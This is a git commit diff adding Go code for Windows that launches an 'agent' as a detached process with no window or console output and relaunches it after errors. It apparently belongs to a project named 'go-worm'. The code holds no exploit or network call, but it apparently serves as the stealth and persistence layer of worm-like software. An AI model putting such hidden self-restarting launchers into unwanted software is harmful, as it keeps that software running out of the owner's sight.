refactor(core): add headless run and auto-restart
- Run without console by default - Log to file once console hidden - Recover panics in background goroutines - Restart agent after unexpected errors - Use shared instance launch helper
This commit is contained in:
@@ -0,0 +1,58 @@
|
||||
//go:build windows
|
||||
|
||||
package instance
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
// Launch starts exe detached with no visible window or console IO.
|
||||
func Launch(exe string, args []string) error {
|
||||
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer nul.Close()
|
||||
|
||||
cmd := exec.Command(exe, args...)
|
||||
cmd.Stdin = nul
|
||||
cmd.Stdout = nul
|
||||
cmd.Stderr = nul
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// RestartSelf launches a fresh agent process (no mutex check).
|
||||
func RestartSelf() error {
|
||||
exe, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return Launch(exe, nil)
|
||||
}
|
||||
|
||||
func filterArgs(args []string) []string {
|
||||
out := make([]string, 0, len(args))
|
||||
for _, arg := range args {
|
||||
name := strings.TrimLeft(arg, "-/")
|
||||
lower := strings.ToLower(name)
|
||||
switch {
|
||||
case lower == "background" || strings.HasPrefix(lower, "background="):
|
||||
continue
|
||||
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
|
||||
continue
|
||||
}
|
||||
out = append(out, arg)
|
||||
}
|
||||
return out
|
||||
}
|
||||
Reference in New Issue
Block a user